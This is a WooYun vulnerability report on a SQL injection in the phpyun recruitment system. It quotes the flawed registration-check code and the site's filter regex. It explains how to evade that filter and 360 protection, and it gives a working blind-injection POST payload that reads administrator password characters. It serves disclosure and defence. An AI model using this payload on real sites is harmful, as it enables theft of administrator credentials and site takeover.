当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-068400

漏洞标题:phpyun注射绕过360防护

相关厂商:php云人才系统

漏洞作者: Noxxx

提交时间:2014-07-14 21:46

修复时间:2014-10-12 21:48

公开时间:2014-10-12 21:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-14: 细节已通知厂商并且等待厂商处理中
2014-07-15: 厂商已经确认,细节仅向厂商公开
2014-07-18: 细节向第三方安全合作伙伴开放
2014-09-08: 细节向核心白帽子及相关领域专家公开
2014-09-18: 细节向普通白帽子公开
2014-09-28: 细节向实习白帽子公开
2014-10-12: 细节向公众公开

简要描述:

注射

详细说明:

注册时检测会员是否使用问题
model\register.class.php
23 行

function ajax_reg_action(){
$post = array_keys($_POST);
$key_name = $post[0];
if($key_name=="username"){
$username=@iconv("utf-8","gbk",$_POST['username']);

if($this->config['sy_uc_type']=="uc_center"){
$this->obj->uc_open();
$user = uc_get_user($username);
}else{
$user = $this->obj->DB_select_once("member","`username`='".$username."'");
}
if($this->config['sy_regname']!=""){
$regname=@explode(",",$this->config['sy_regname']);
if(in_array($username,$regname)){
echo 2;die;
}
}
}else{
#$key_name可控 带入查询 .
$user = $this->obj->DB_select_once("member","`".$key_name."`='".$_POST[$key_name]."'");
}
if(is_array($user)){echo 1;}else{echo 0;}
}


没有回显只能盲注了.
里面有个全局过滤和360的 360的白名单就行了 全局过滤还是比较坑的
db.safety.php
$postfilter = "<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\\(\d+?|sleep\s*?\\([\d\.]+?\\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
只要检测文本不连续出现关键词就通过了
底下还有一个过滤值的,不过也没关键词.
exp:http://127.0.0.1/phpyun/?m=register&c=ajax_reg&admin_dir=admin
(POST)
uid`%26%26(SELECT(MID(password,1,1)%3D'1')FROM/**=**/phpyun_admin_user)%23 (会员表里有数据就行 )
成功返回1
失败返回0

1.jpg

漏洞证明:

0.jpg

修复方案:

过滤

版权声明:转载请注明来源 Noxxx@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-07-15 22:24

厂商回复:

感谢您的提供,我们会尽快修复!

最新状态:

暂无


漏洞评价:

评论

  1. 2014-10-17 16:47 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    想法确实不错,赞一个吧!不过楼主,貌似这测试语句有点问题。单引号还是会被转义的。换成16进制会比较好!!!!

  2. 2014-10-17 18:45 | Noxxx ( 普通白帽子 | Rank:509 漏洞数:41 )

    @hkAssassin 嗯,确实,GPC=on会有影响 最好还是你说的这样

  3. 2015-08-06 22:58 | 0c0c0f ( 实习白帽子 | Rank:48 漏洞数:15 | My H34rt c4n 3xploit 4ny h0les!)

    @hkAssassin 毛毛虫,现在gpc off了。

  4. 2015-08-07 00:24 | 0c0c0f ( 实习白帽子 | Rank:48 漏洞数:15 | My H34rt c4n 3xploit 4ny h0les!)

    @Noxxx 洞主这个是哪个版本?